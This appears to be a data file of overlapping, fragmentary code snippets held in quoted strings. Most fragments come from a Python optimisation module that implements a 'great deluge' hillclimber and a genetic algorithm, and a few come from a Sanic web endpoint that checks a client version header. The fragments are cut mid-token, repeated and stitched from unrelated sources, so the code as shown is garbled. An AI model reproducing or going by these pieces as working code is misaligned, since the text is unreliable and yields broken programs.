Dict, Any, Union, Awaitable, List, Optional ACCEPTED_WISH_VERS = ['wish.alpha.v1']", "in ACCEPTED_WISH_VERS: return response.json({ 'error': 'WISH_VERSION_MISMATCH', 'error_msg': f'前端版本 {v} 不是最新',", "fn(req, *args, **kwargs) retval = (await retval_) if isawaitable(retval_) else", "functools import wraps from inspect import isawaitable from typing import", "Union, Awaitable, List, Optional ACCEPTED_WISH_VERS = ['wish.alpha.v1'] WishHandler = Callable[...,", "-> HTTPResponse: v = req.headers.get('X-Wish-Version', '(none)') if v not in", "retval_ = fn(req, *args, **kwargs) retval = (await retval_) if", "if v not in ACCEPTED_WISH_VERS: return response.json({ 'error': 'WISH_VERSION_MISMATCH', 'error_msg':", "Any]]]] def wish_endpoint(bp: Blueprint, uri: str, *, methods: Optional[List[str]] =", "**kwargs) retval = (await retval_) if isawaitable(retval_) else retval_ return", "f'前端版本 {v} 不是最新', }) retval_ = fn(req, *args, **kwargs) retval", "'error_msg': f'前端版本 {v} 不是最新', }) retval_ = fn(req, *args, **kwargs)", "(await retval_) if isawaitable(retval_) else retval_ return response.json({ 'error': None,", "Any) -> HTTPResponse: v = req.headers.get('X-Wish-Version', '(none)') if v not", "RouteHandler from functools import wraps from inspect import isawaitable from", "v = req.headers.get('X-Wish-Version', '(none)') if v not in ACCEPTED_WISH_VERS: return", "if isawaitable(retval_) else retval_ return response.json({ 'error': None, # may", "None) -> Callable[[WishHandler], RouteHandler]: if methods is None: methods =", "retval = (await retval_) if isawaitable(retval_) else retval_ return response.json({" ]
[ "+= 1 def ga_evolve(parent, target, num, mutation_rate=0.01, score_f=_simple_score, breed_f=_simple_breed, select_f=_simple_select,", "internal functions can be overridden NOTE: both optimisation functions are", "\"Copyright 2007-2012, The Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\"] __license__", "def _simple_breed(best, num, mutation_rate, random_f): \"\"\"Returns num copies of parent", "new objects are found with a better cost. iter_count gets", "function optimisation great_deluge() is a hillclimbing algorithm based on: Gunter", "optimisation great_deluge() is a hillclimbing algorithm based on: Gunter Dueck:", "from the population random_f: Function to be used in breed_f", "making mutations respectively. Usually, you'll want to write a wrapper", "evolution. num: Population size. mutation_rate: Rate at which objects in", "total_iters will kill the while loop when the total number", "reaches max_total_iters Object a must implement methods cost() and perturb()", "hillclimbing algorithm based on: Gunter Dueck: New Optimization Heuristics, The", "objects in the population are mutated. score_f: Function to score", "= a.perturb() new_cost = new.cost() if new_cost < water_level: if", "algorithm in which all internal functions can be overridden NOTE:", "Must take a tuple containing (scores, objects), the size of", "while loop when the total number of iterations through the", "variations of the object a to minimize cost. Yields are", "Must take an object and the size of the population.", "= \"<NAME> and <NAME>\" __copyright__ = \"Copyright 2007-2012, The Cogent", "if new_cost < water_level: if new_cost < curr_cost: water_level =", "score as defined by the childs scoring function\"\"\" return child.score(target)", "if new_cost < curr_cost: water_level = max(curr_cost, water_level - step_size)", "iterations through the loop reaches max_total_iters Object a must implement", "num): \"\"\"Creates a list parent copies\"\"\" return [parent.copy() for i", "a wrapper that passes these through to methods of an", "size of population, a mutation rate and random function to", "WARNING: iter_count is reset here! curr_cost = new_cost a =", "Returns a list containing the initial population. Default function takes", "be used in breed_f max_generations: Kills while loop if max_generations", "containing the initial population. Default function takes only the best", "= 0 # WARNING: iter_count is reset here! curr_cost =", "\"\"\"This generator makes random variations of the object a to", "new_cost < water_level: if new_cost < curr_cost: water_level = max(curr_cost,", "Dueck: New Optimization Heuristics, The Great Deluge Algorithm and the", "population based on the parent to the target Parent must", "size. mutation_rate: Rate at which objects in the population are", "[score_f(child, target) for child in population] best = select_f(population, scores)", "only the best score and object. init_f: Must take an", "to the target Parent must implement methods copy(), mutate(), and", "kill the while loop in the event that no new", "def _simple_score(child, target): \"\"\"Returns the childs score as defined by", "iter_count < max_iter and total_iters < max_total_iters: new = a.perturb()", "best_obj)). Arguments: parent: Object to create initial population from. target:", "not be desired behavior. select_f: Must take a population and", "rate and random function to use. Returns a list containing", "total_iters < max_total_iters: new = a.perturb() new_cost = new.cost() if", "the best scores and objects in the population. Default function", "which all internal functions can be overridden NOTE: both optimisation", "\"<NAME>\"] __license__ = \"GPL\" __version__ = \"1.5.3\" __maintainer__ = \"<NAME>\"", "containing ((iter_count, total_iters), a) is returned. iter_count is used to", "Journal of Computational Physics, Vol. 104, 1993, pp. 86 -", "initial population. Default function takes only the best object, but", "acting on that object. \"\"\" water_level = curr_cost = a.cost()", "(generation, (best_score, best_obj)). Arguments: parent: Object to create initial population", "0 total_iters = 0 while iter_count < max_iter and total_iters", "and total_iters < max_total_iters: new = a.perturb() new_cost = new.cost()", "passes these through to methods of an internal data object,", "_simple_score(child, target): \"\"\"Returns the childs score as defined by the", "max_iter and total_iters < max_total_iters: new = a.perturb() new_cost =", "score_f: Function to score the object against the target. breed_f:", "step_size = abs(water_level)/step_factor iter_count = 0 total_iters = 0 while", "mutation_rate changes\"\"\" result = [] score, parent = best for", "and the Record-to-Record Travel. Journal of Computational Physics, Vol. 104,", "containing the best scores and objects in the population. Default", "the score and making mutations respectively. Usually, you'll want to", "scored[0] def great_deluge(a, step_factor=500, max_iter=100, max_total_iters=1000): \"\"\"This generator makes random", "= new_cost a = new else: iter_count += 1 yield", "write a wrapper that passes these through to methods of", "methods copy(), mutate(), and score(target) to be used with the", "initial population from. target: The goal of the evolution. num:", "reached Overload default functions: score_f: Must take an object and", "return child.score(target) def _simple_init(parent, num): \"\"\"Creates a list parent copies\"\"\"", "1 yield ((iter_count, total_iters), a) total_iters += 1 def ga_evolve(parent,", "an internal data object, or functions acting on that object.", "Function to select best object(s) from the population random_f: Function", "can't be worse than initial guess step_size = abs(water_level)/step_factor iter_count", "Parent must implement methods copy(), mutate(), and score(target) to be", "great_deluge(a, step_factor=500, max_iter=100, max_total_iters=1000): \"\"\"This generator makes random variations of", "_simple_select(population, scores): \"\"\"Returns a tuple: (best_score, best_child)\"\"\" scored = zip(scores,", "object, or functions acting on that object. \"\"\" water_level =", "\"1.5.3\" __maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\" __status__ = \"Production\"", "\"GPL\" __version__ = \"1.5.3\" __maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\"", "max_generations: Kills while loop if max_generations is reached Overload default", "at the end of each iteration and contain the tuple", "loop when the total number of iterations through the loop", "parent = best for child_number in range(num): if random_f() <=", "<= mutation_rate: child = parent.mutate() result.append(child) else: result.append(parent) return result", "childs scoring function\"\"\" return child.score(target) def _simple_init(parent, num): \"\"\"Creates a", "max_generations=1000): \"\"\"Evolves a population based on the parent to the", "= \"<NAME>\" __email__ = \"<EMAIL>\" __status__ = \"Production\" def _simple_breed(best,", "object against the target. breed_f: Function to create new population", "iteration and contain the tuple (generation, best). The default functions", "ga_evolve(parent, target, num, mutation_rate=0.01, score_f=_simple_score, breed_f=_simple_breed, select_f=_simple_select, init_f=_simple_init, random_f=normal, max_generations=1000):", "the Record-to-Record Travel. Journal of Computational Physics, Vol. 104, 1993,", "wrapper that passes these through to methods of an internal", "containing the starting population \"\"\" generation = 0 population =", "curr_cost = a.cost() # can't be worse than initial guess", "gets reset each time an object with a better cost", "\"\"\"Returns the childs score as defined by the childs scoring", "\"\"\" water_level = curr_cost = a.cost() # can't be worse", "in the population. Default function returns only the best score", "a population based on the parent to the target Parent", "New Optimization Heuristics, The Great Deluge Algorithm and the Record-to-Record", "iter_count is reset here! curr_cost = new_cost a = new", "< max_total_iters: new = a.perturb() new_cost = new.cost() if new_cost", "best object(s) from the population random_f: Function to be used", "scores): \"\"\"Returns a tuple: (best_score, best_child)\"\"\" scored = zip(scores, population)", "max_iter=100, max_total_iters=1000): \"\"\"This generator makes random variations of the object", "best_child)\"\"\" scored = zip(scores, population) scored.sort() return scored[0] def great_deluge(a,", "Algorithm and the Record-to-Record Travel. Journal of Computational Physics, Vol.", "return scored[0] def great_deluge(a, step_factor=500, max_iter=100, max_total_iters=1000): \"\"\"This generator makes", "object, but this may not be desired behavior. select_f: Must", "the while loop in the event that no new objects", "iter_count = 0 # WARNING: iter_count is reset here! curr_cost", "returned. iter_count is used to kill the while loop in", "Physics, Vol. 104, 1993, pp. 86 - 92 ga_evolve() is", "result.append(parent) return result def _simple_score(child, target): \"\"\"Returns the childs score", "import normal __author__ = \"<NAME> and <NAME>\" __copyright__ = \"Copyright", "python \"\"\"Algorthims for function optimisation great_deluge() is a hillclimbing algorithm", "the best score and object. init_f: Must take an object", "num: Population size. mutation_rate: Rate at which objects in the", "desired behavior. select_f: Must take a population and scores. Returns", "child in population] best = select_f(population, scores) population = breed_f(best,", "guess step_size = abs(water_level)/step_factor iter_count = 0 total_iters = 0", "loop if max_generations is reached Overload default functions: score_f: Must", "The Great Deluge Algorithm and the Record-to-Record Travel. Journal of", "num, mutation_rate=0.01, score_f=_simple_score, breed_f=_simple_breed, select_f=_simple_select, init_f=_simple_init, random_f=normal, max_generations=1000): \"\"\"Evolves a", "return result def _simple_score(child, target): \"\"\"Returns the childs score as", "\"\"\"Creates a list parent copies\"\"\" return [parent.copy() for i in", "methods of an internal data object, or functions acting on", "you'll want to write a wrapper that passes these through", "tuple (generation, best). The default functions return the tuple (generation,", "Returns a list containing the starting population \"\"\" generation =", "found with a better cost. iter_count gets reset each time", "Function to score the object against the target. breed_f: Function", "is used to kill the while loop in the event", "this may not be desired behavior. select_f: Must take a", "select best object(s) from the population random_f: Function to be", "= curr_cost = a.cost() # can't be worse than initial", "total_iters), a) is returned. iter_count is used to kill the", "used in breed_f max_generations: Kills while loop if max_generations is", "iteration and a tuple containing ((iter_count, total_iters), a) is returned.", "\"<NAME> and <NAME>\" __copyright__ = \"Copyright 2007-2012, The Cogent Project\"", "0 while iter_count < max_iter and total_iters < max_total_iters: new", "that no new objects are found with a better cost.", "with mutations select_f: Function to select best object(s) from the", "of an internal data object, or functions acting on that", "generation < max_generations: scores = [score_f(child, target) for child in", "in which all internal functions can be overridden NOTE: both", "take an object and a target score. Returns objects score.", "Record-to-Record Travel. Journal of Computational Physics, Vol. 104, 1993, pp.", "function to use. Returns a list containing the initial population.", "to kill the while loop in the event that no", "Arguments: parent: Object to create initial population from. target: The", "score. breed_f: Must take a tuple containing (scores, objects), the", "the simple default functions. Yields are performed at the end", "a = new else: iter_count += 1 yield ((iter_count, total_iters),", "be desired behavior. select_f: Must take a population and scores.", "select_f=_simple_select, init_f=_simple_init, random_f=normal, max_generations=1000): \"\"\"Evolves a population based on the", "in breed_f max_generations: Kills while loop if max_generations is reached", "def _simple_select(population, scores): \"\"\"Returns a tuple: (best_score, best_child)\"\"\" scored =", "num) while generation < max_generations: scores = [score_f(child, target) for", "target score. Returns objects score. breed_f: Must take a tuple", "numpy.random import normal __author__ = \"<NAME> and <NAME>\" __copyright__ =", "default functions. Yields are performed at the end of each", "in the population are mutated. score_f: Function to score the", "new else: iter_count += 1 yield ((iter_count, total_iters), a) total_iters", "Vol. 104, 1993, pp. 86 - 92 ga_evolve() is a", "= \"1.5.3\" __maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\" __status__ =", "= parent.mutate() result.append(child) else: result.append(parent) return result def _simple_score(child, target):", "= select_f(population, scores) population = breed_f(best, num, mutation_rate, random_f) yield", "list containing the initial population. Default function takes only the", "be used with the simple default functions. Yields are performed", "be worse than initial guess step_size = abs(water_level)/step_factor iter_count =", "a mutation rate and random function to use. Returns a", "based on the parent to the target Parent must implement", "makes random variations of the object a to minimize cost.", "population) scored.sort() return scored[0] def great_deluge(a, step_factor=500, max_iter=100, max_total_iters=1000): \"\"\"This", "the object a to minimize cost. Yields are performed at", "\"\"\"Evolves a population based on the parent to the target", "containing (scores, objects), the size of population, a mutation rate", "each iteration and a tuple containing ((iter_count, total_iters), a) is", "for i in range(num)] def _simple_select(population, scores): \"\"\"Returns a tuple:", "i in range(num)] def _simple_select(population, scores): \"\"\"Returns a tuple: (best_score,", "copies\"\"\" return [parent.copy() for i in range(num)] def _simple_select(population, scores):", "functions are generators. \"\"\" from numpy.random import normal __author__ =", "function takes only the best object, but this may not", "random function to use. Returns a list containing the initial", "best = select_f(population, scores) population = breed_f(best, num, mutation_rate, random_f)", "must implement methods cost() and perturb() for evaluating the score", "and the size of the population. Returns a list containing", "an object with a better cost is found. total_iters will", "and object. init_f: Must take an object and the size", "yield ((iter_count, total_iters), a) total_iters += 1 def ga_evolve(parent, target,", "zip(scores, population) scored.sort() return scored[0] def great_deluge(a, step_factor=500, max_iter=100, max_total_iters=1000):", "= new.cost() if new_cost < water_level: if new_cost < curr_cost:", "the tuple (generation, (best_score, best_obj)). Arguments: parent: Object to create", "mutation rate and random function to use. Returns a list", "new.cost() if new_cost < water_level: if new_cost < curr_cost: water_level", "\"\"\" generation = 0 population = init_f(parent, num) while generation", "through to methods of an internal data object, or functions", "is reset here! curr_cost = new_cost a = new else:", "= new else: iter_count += 1 yield ((iter_count, total_iters), a)", "cost. iter_count gets reset each time an object with a", "92 ga_evolve() is a basic genetic algorithm in which all", "a better cost. iter_count gets reset each time an object", "evaluating the score and making mutations respectively. Usually, you'll want", "< water_level: if new_cost < curr_cost: water_level = max(curr_cost, water_level", "parent copies\"\"\" return [parent.copy() for i in range(num)] def _simple_select(population,", "object. \"\"\" water_level = curr_cost = a.cost() # can't be", "a.perturb() new_cost = new.cost() if new_cost < water_level: if new_cost", "new_cost = new.cost() if new_cost < water_level: if new_cost <", "def _simple_init(parent, num): \"\"\"Creates a list parent copies\"\"\" return [parent.copy()", "score the object against the target. breed_f: Function to create", "a better cost is found. total_iters will kill the while", "score and making mutations respectively. Usually, you'll want to write", "are performed at the end of each iteration and contain", "# WARNING: iter_count is reset here! curr_cost = new_cost a", "parent with mutation_rate changes\"\"\" result = [] score, parent =", "is a hillclimbing algorithm based on: Gunter Dueck: New Optimization", "returns only the best score and object. init_f: Must take", "= init_f(parent, num) while generation < max_generations: scores = [score_f(child,", "data object, or functions acting on that object. \"\"\" water_level", "is returned. iter_count is used to kill the while loop", "< max_iter and total_iters < max_total_iters: new = a.perturb() new_cost", "reset each time an object with a better cost is", "random variations of the object a to minimize cost. Yields", "scored = zip(scores, population) scored.sort() return scored[0] def great_deluge(a, step_factor=500,", "a population and scores. Returns a tuple containing the best", "new_cost a = new else: iter_count += 1 yield ((iter_count,", "default functions return the tuple (generation, (best_score, best_obj)). Arguments: parent:", "\"<EMAIL>\" __status__ = \"Production\" def _simple_breed(best, num, mutation_rate, random_f): \"\"\"Returns", "both optimisation functions are generators. \"\"\" from numpy.random import normal", "no new objects are found with a better cost. iter_count", "= breed_f(best, num, mutation_rate, random_f) yield (generation, best) generation +=", "random_f=normal, max_generations=1000): \"\"\"Evolves a population based on the parent to", "by the childs scoring function\"\"\" return child.score(target) def _simple_init(parent, num):", "pp. 86 - 92 ga_evolve() is a basic genetic algorithm", "Population size. mutation_rate: Rate at which objects in the population", "tuple (generation, (best_score, best_obj)). Arguments: parent: Object to create initial", "population are mutated. score_f: Function to score the object against", "Object to create initial population from. target: The goal of", "the population. Default function returns only the best score and", "scores = [score_f(child, target) for child in population] best =", "return the tuple (generation, (best_score, best_obj)). Arguments: parent: Object to", "of population, a mutation rate and random function to use.", "to methods of an internal data object, or functions acting", "= \"Production\" def _simple_breed(best, num, mutation_rate, random_f): \"\"\"Returns num copies", "the tuple (generation, best). The default functions return the tuple", "a list containing the starting population \"\"\" generation = 0", "tuple containing the best scores and objects in the population.", "with a better cost is found. total_iters will kill the", "max_generations: scores = [score_f(child, target) for child in population] best", "generation = 0 population = init_f(parent, num) while generation <", "best for child_number in range(num): if random_f() <= mutation_rate: child", "object(s) from the population random_f: Function to be used in", "for child_number in range(num): if random_f() <= mutation_rate: child =", "time an object with a better cost is found. total_iters", "# can't be worse than initial guess step_size = abs(water_level)/step_factor", "= zip(scores, population) scored.sort() return scored[0] def great_deluge(a, step_factor=500, max_iter=100,", "basic genetic algorithm in which all internal functions can be", "mutations select_f: Function to select best object(s) from the population", "__credits__ = [\"<NAME>\", \"<NAME>\"] __license__ = \"GPL\" __version__ = \"1.5.3\"", "Function to be used in breed_f max_generations: Kills while loop", "water_level: if new_cost < curr_cost: water_level = max(curr_cost, water_level -", "result.append(child) else: result.append(parent) return result def _simple_score(child, target): \"\"\"Returns the", "on the parent to the target Parent must implement methods", "implement methods cost() and perturb() for evaluating the score and", "water_level = curr_cost = a.cost() # can't be worse than", "performed at the end of each iteration and contain the", "range(num)] def _simple_select(population, scores): \"\"\"Returns a tuple: (best_score, best_child)\"\"\" scored", "initial guess step_size = abs(water_level)/step_factor iter_count = 0 total_iters =", "to score the object against the target. breed_f: Function to", "best score and object. init_f: Must take an object and", "score(target) to be used with the simple default functions. Yields", "child.score(target) def _simple_init(parent, num): \"\"\"Creates a list parent copies\"\"\" return", "create new population with mutations select_f: Function to select best", "total_iters = 0 while iter_count < max_iter and total_iters <", "child_number in range(num): if random_f() <= mutation_rate: child = parent.mutate()", "a list parent copies\"\"\" return [parent.copy() for i in range(num)]", "population and scores. Returns a tuple containing the best scores", "end of each iteration and a tuple containing ((iter_count, total_iters),", "are performed at the end of each iteration and a", "init_f(parent, num) while generation < max_generations: scores = [score_f(child, target)", "Default function returns only the best score and object. init_f:", "best scores and objects in the population. Default function returns", "= \"GPL\" __version__ = \"1.5.3\" __maintainer__ = \"<NAME>\" __email__ =", "2007-2012, The Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\"] __license__ =", "in the event that no new objects are found with", "for child in population] best = select_f(population, scores) population =", "great_deluge() is a hillclimbing algorithm based on: Gunter Dueck: New", "event that no new objects are found with a better", "select_f: Function to select best object(s) from the population random_f:", "<NAME>\" __copyright__ = \"Copyright 2007-2012, The Cogent Project\" __credits__ =", "((iter_count, total_iters), a) is returned. iter_count is used to kill", "iter_count += 1 yield ((iter_count, total_iters), a) total_iters += 1", "select_f: Must take a population and scores. Returns a tuple", "of Computational Physics, Vol. 104, 1993, pp. 86 - 92", "a basic genetic algorithm in which all internal functions can", "cost is found. total_iters will kill the while loop when", "childs score as defined by the childs scoring function\"\"\" return", "random_f: Function to be used in breed_f max_generations: Kills while", "breed_f max_generations: Kills while loop if max_generations is reached Overload", "the size of the population. Returns a list containing the", "the initial population. Default function takes only the best object,", "which objects in the population are mutated. score_f: Function to", "with the simple default functions. Yields are performed at the", "parent.mutate() result.append(child) else: result.append(parent) return result def _simple_score(child, target): \"\"\"Returns", "iter_count is used to kill the while loop in the", "__copyright__ = \"Copyright 2007-2012, The Cogent Project\" __credits__ = [\"<NAME>\",", "iter_count gets reset each time an object with a better", "population random_f: Function to be used in breed_f max_generations: Kills", "that passes these through to methods of an internal data", "methods cost() and perturb() for evaluating the score and making", "and contain the tuple (generation, best). The default functions return", "the childs score as defined by the childs scoring function\"\"\"", "want to write a wrapper that passes these through to", "population, a mutation rate and random function to use. Returns", "mutation_rate=0.01, score_f=_simple_score, breed_f=_simple_breed, select_f=_simple_select, init_f=_simple_init, random_f=normal, max_generations=1000): \"\"\"Evolves a population", "a list containing the initial population. Default function takes only", "than initial guess step_size = abs(water_level)/step_factor iter_count = 0 total_iters", "a) is returned. iter_count is used to kill the while", "performed at the end of each iteration and a tuple", "scores) population = breed_f(best, num, mutation_rate, random_f) yield (generation, best)", "or functions acting on that object. \"\"\" water_level = curr_cost", "these through to methods of an internal data object, or", "and a tuple containing ((iter_count, total_iters), a) is returned. iter_count", "the total number of iterations through the loop reaches max_total_iters", "[] score, parent = best for child_number in range(num): if", "else: iter_count += 1 yield ((iter_count, total_iters), a) total_iters +=", "generators. \"\"\" from numpy.random import normal __author__ = \"<NAME> and", "in range(num): if random_f() <= mutation_rate: child = parent.mutate() result.append(child)", "Function to create new population with mutations select_f: Function to", "is a basic genetic algorithm in which all internal functions", "parent to the target Parent must implement methods copy(), mutate(),", "curr_cost = new_cost a = new else: iter_count += 1", "target Parent must implement methods copy(), mutate(), and score(target) to", "algorithm based on: Gunter Dueck: New Optimization Heuristics, The Great", "an object and a target score. Returns objects score. breed_f:", "1993, pp. 86 - 92 ga_evolve() is a basic genetic", "Must take a population and scores. Returns a tuple containing", "while loop if max_generations is reached Overload default functions: score_f:", "breed_f=_simple_breed, select_f=_simple_select, init_f=_simple_init, random_f=normal, max_generations=1000): \"\"\"Evolves a population based on", "function returns only the best score and object. init_f: Must", "num copies of parent with mutation_rate changes\"\"\" result = []", "+= 1 yield ((iter_count, total_iters), a) total_iters += 1 def", "of the object a to minimize cost. Yields are performed", "objects are found with a better cost. iter_count gets reset", "The Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\"] __license__ = \"GPL\"", "\"\"\"Returns a tuple: (best_score, best_child)\"\"\" scored = zip(scores, population) scored.sort()", "the evolution. num: Population size. mutation_rate: Rate at which objects", "best). The default functions return the tuple (generation, (best_score, best_obj)).", "abs(water_level)/step_factor iter_count = 0 total_iters = 0 while iter_count <", "new = a.perturb() new_cost = new.cost() if new_cost < water_level:", "the object against the target. breed_f: Function to create new", "object and the size of the population. Returns a list", "max(curr_cost, water_level - step_size) iter_count = 0 # WARNING: iter_count", "are found with a better cost. iter_count gets reset each", "will kill the while loop when the total number of", "new population with mutations select_f: Function to select best object(s)", "kill the while loop when the total number of iterations", "for function optimisation great_deluge() is a hillclimbing algorithm based on:", "normal __author__ = \"<NAME> and <NAME>\" __copyright__ = \"Copyright 2007-2012,", "_simple_init(parent, num): \"\"\"Creates a list parent copies\"\"\" return [parent.copy() for", "size of the population. Returns a list containing the starting", "Yields are performed at the end of each iteration and", "num, mutation_rate, random_f): \"\"\"Returns num copies of parent with mutation_rate", "population. Default function takes only the best object, but this", "to be used in breed_f max_generations: Kills while loop if", "Project\" __credits__ = [\"<NAME>\", \"<NAME>\"] __license__ = \"GPL\" __version__ =", "worse than initial guess step_size = abs(water_level)/step_factor iter_count = 0", "water_level = max(curr_cost, water_level - step_size) iter_count = 0 #", "- step_size) iter_count = 0 # WARNING: iter_count is reset", "NOTE: both optimisation functions are generators. \"\"\" from numpy.random import", "__author__ = \"<NAME> and <NAME>\" __copyright__ = \"Copyright 2007-2012, The", "select_f(population, scores) population = breed_f(best, num, mutation_rate, random_f) yield (generation,", "a tuple: (best_score, best_child)\"\"\" scored = zip(scores, population) scored.sort() return", "max_total_iters=1000): \"\"\"This generator makes random variations of the object a", "optimisation functions are generators. \"\"\" from numpy.random import normal __author__", "new_cost < curr_cost: water_level = max(curr_cost, water_level - step_size) iter_count", "__email__ = \"<EMAIL>\" __status__ = \"Production\" def _simple_breed(best, num, mutation_rate,", "loop in the event that no new objects are found", "changes\"\"\" result = [] score, parent = best for child_number", "Object a must implement methods cost() and perturb() for evaluating", "to create new population with mutations select_f: Function to select", "mutations respectively. Usually, you'll want to write a wrapper that", "target, num, mutation_rate=0.01, score_f=_simple_score, breed_f=_simple_breed, select_f=_simple_select, init_f=_simple_init, random_f=normal, max_generations=1000): \"\"\"Evolves", "Travel. Journal of Computational Physics, Vol. 104, 1993, pp. 86", "Optimization Heuristics, The Great Deluge Algorithm and the Record-to-Record Travel.", "and score(target) to be used with the simple default functions.", "Returns a tuple containing the best scores and objects in", "the parent to the target Parent must implement methods copy(),", "list parent copies\"\"\" return [parent.copy() for i in range(num)] def", "return [parent.copy() for i in range(num)] def _simple_select(population, scores): \"\"\"Returns", "Overload default functions: score_f: Must take an object and a", "can be overridden NOTE: both optimisation functions are generators. \"\"\"", "cost. Yields are performed at the end of each iteration", "target. breed_f: Function to create new population with mutations select_f:", "a target score. Returns objects score. breed_f: Must take a", "a.cost() # can't be worse than initial guess step_size =", "the population are mutated. score_f: Function to score the object", "object. init_f: Must take an object and the size of", "the best object, but this may not be desired behavior.", "cost() and perturb() for evaluating the score and making mutations", "loop reaches max_total_iters Object a must implement methods cost() and", "0 population = init_f(parent, num) while generation < max_generations: scores", "max_generations is reached Overload default functions: score_f: Must take an", "Heuristics, The Great Deluge Algorithm and the Record-to-Record Travel. Journal", "and random function to use. Returns a list containing the", "a hillclimbing algorithm based on: Gunter Dueck: New Optimization Heuristics,", "Usually, you'll want to write a wrapper that passes these", "random_f() <= mutation_rate: child = parent.mutate() result.append(child) else: result.append(parent) return", "objects score. breed_f: Must take a tuple containing (scores, objects),", "functions return the tuple (generation, (best_score, best_obj)). Arguments: parent: Object", "The goal of the evolution. num: Population size. mutation_rate: Rate", "object with a better cost is found. total_iters will kill", "be overridden NOTE: both optimisation functions are generators. \"\"\" from", "= max(curr_cost, water_level - step_size) iter_count = 0 # WARNING:", "a tuple containing (scores, objects), the size of population, a", "else: result.append(parent) return result def _simple_score(child, target): \"\"\"Returns the childs", "max_total_iters: new = a.perturb() new_cost = new.cost() if new_cost <", "= [score_f(child, target) for child in population] best = select_f(population,", "with mutation_rate changes\"\"\" result = [] score, parent = best", "Great Deluge Algorithm and the Record-to-Record Travel. Journal of Computational", "init_f=_simple_init, random_f=normal, max_generations=1000): \"\"\"Evolves a population based on the parent", "(generation, best). The default functions return the tuple (generation, (best_score,", "the size of population, a mutation rate and random function", "the while loop when the total number of iterations through", "Deluge Algorithm and the Record-to-Record Travel. Journal of Computational Physics,", "range(num): if random_f() <= mutation_rate: child = parent.mutate() result.append(child) else:", "function\"\"\" return child.score(target) def _simple_init(parent, num): \"\"\"Creates a list parent", "target: The goal of the evolution. num: Population size. mutation_rate:", "for evaluating the score and making mutations respectively. Usually, you'll", "implement methods copy(), mutate(), and score(target) to be used with", "the childs scoring function\"\"\" return child.score(target) def _simple_init(parent, num): \"\"\"Creates", "Cogent Project\" __credits__ = [\"<NAME>\", \"<NAME>\"] __license__ = \"GPL\" __version__", "to minimize cost. Yields are performed at the end of", "breed_f: Function to create new population with mutations select_f: Function", "score_f=_simple_score, breed_f=_simple_breed, select_f=_simple_select, init_f=_simple_init, random_f=normal, max_generations=1000): \"\"\"Evolves a population based", "on: Gunter Dueck: New Optimization Heuristics, The Great Deluge Algorithm", "object a to minimize cost. Yields are performed at the", "(scores, objects), the size of population, a mutation rate and", "and <NAME>\" __copyright__ = \"Copyright 2007-2012, The Cogent Project\" __credits__", "mutation_rate, random_f): \"\"\"Returns num copies of parent with mutation_rate changes\"\"\"", "mutated. score_f: Function to score the object against the target.", "here! curr_cost = new_cost a = new else: iter_count +=", "of the population. Returns a list containing the starting population", "a must implement methods cost() and perturb() for evaluating the", "population. Returns a list containing the starting population \"\"\" generation", "< curr_cost: water_level = max(curr_cost, water_level - step_size) iter_count =", "= best for child_number in range(num): if random_f() <= mutation_rate:", "must implement methods copy(), mutate(), and score(target) to be used", "random_f): \"\"\"Returns num copies of parent with mutation_rate changes\"\"\" result", "and objects in the population. Default function returns only the", "the end of each iteration and a tuple containing ((iter_count,", "the loop reaches max_total_iters Object a must implement methods cost()", "max_total_iters Object a must implement methods cost() and perturb() for", "Rate at which objects in the population are mutated. score_f:", "from. target: The goal of the evolution. num: Population size.", "target) for child in population] best = select_f(population, scores) population", "= [\"<NAME>\", \"<NAME>\"] __license__ = \"GPL\" __version__ = \"1.5.3\" __maintainer__", "tuple: (best_score, best_child)\"\"\" scored = zip(scores, population) scored.sort() return scored[0]", "to be used with the simple default functions. Yields are", "contain the tuple (generation, best). The default functions return the", "default functions: score_f: Must take an object and a target", "used with the simple default functions. Yields are performed at", "all internal functions can be overridden NOTE: both optimisation functions", "__maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\" __status__ = \"Production\" def", "1 def ga_evolve(parent, target, num, mutation_rate=0.01, score_f=_simple_score, breed_f=_simple_breed, select_f=_simple_select, init_f=_simple_init,", "= 0 population = init_f(parent, num) while generation < max_generations:", "minimize cost. Yields are performed at the end of each", "population = breed_f(best, num, mutation_rate, random_f) yield (generation, best) generation", "functions can be overridden NOTE: both optimisation functions are generators.", "scores and objects in the population. Default function returns only", "< max_generations: scores = [score_f(child, target) for child in population]", "are generators. \"\"\" from numpy.random import normal __author__ = \"<NAME>", "takes only the best object, but this may not be", "better cost. iter_count gets reset each time an object with", "__version__ = \"1.5.3\" __maintainer__ = \"<NAME>\" __email__ = \"<EMAIL>\" __status__", "= 0 total_iters = 0 while iter_count < max_iter and", "with a better cost. iter_count gets reset each time an", "take a population and scores. Returns a tuple containing the", "simple default functions. Yields are performed at the end of", "object and a target score. Returns objects score. breed_f: Must", "at the end of each iteration and a tuple containing", "= a.cost() # can't be worse than initial guess step_size", "take a tuple containing (scores, objects), the size of population,", "Returns objects score. breed_f: Must take a tuple containing (scores,", "generator makes random variations of the object a to minimize", "the starting population \"\"\" generation = 0 population = init_f(parent,", "is found. total_iters will kill the while loop when the", "step_size) iter_count = 0 # WARNING: iter_count is reset here!", "a tuple containing the best scores and objects in the", "scored.sort() return scored[0] def great_deluge(a, step_factor=500, max_iter=100, max_total_iters=1000): \"\"\"This generator", "(best_score, best_obj)). Arguments: parent: Object to create initial population from.", "while generation < max_generations: scores = [score_f(child, target) for child", "\"\"\" from numpy.random import normal __author__ = \"<NAME> and <NAME>\"", "target): \"\"\"Returns the childs score as defined by the childs", "[\"<NAME>\", \"<NAME>\"] __license__ = \"GPL\" __version__ = \"1.5.3\" __maintainer__ =", "((iter_count, total_iters), a) total_iters += 1 def ga_evolve(parent, target, num,", "parent: Object to create initial population from. target: The goal", "as defined by the childs scoring function\"\"\" return child.score(target) def", "through the loop reaches max_total_iters Object a must implement methods", "behavior. select_f: Must take a population and scores. Returns a", "the target. breed_f: Function to create new population with mutations", "mutate(), and score(target) to be used with the simple default", "_simple_breed(best, num, mutation_rate, random_f): \"\"\"Returns num copies of parent with", "score and object. init_f: Must take an object and the", "and making mutations respectively. Usually, you'll want to write a", "= abs(water_level)/step_factor iter_count = 0 total_iters = 0 while iter_count", "water_level - step_size) iter_count = 0 # WARNING: iter_count is", "population. Default function returns only the best score and object.", 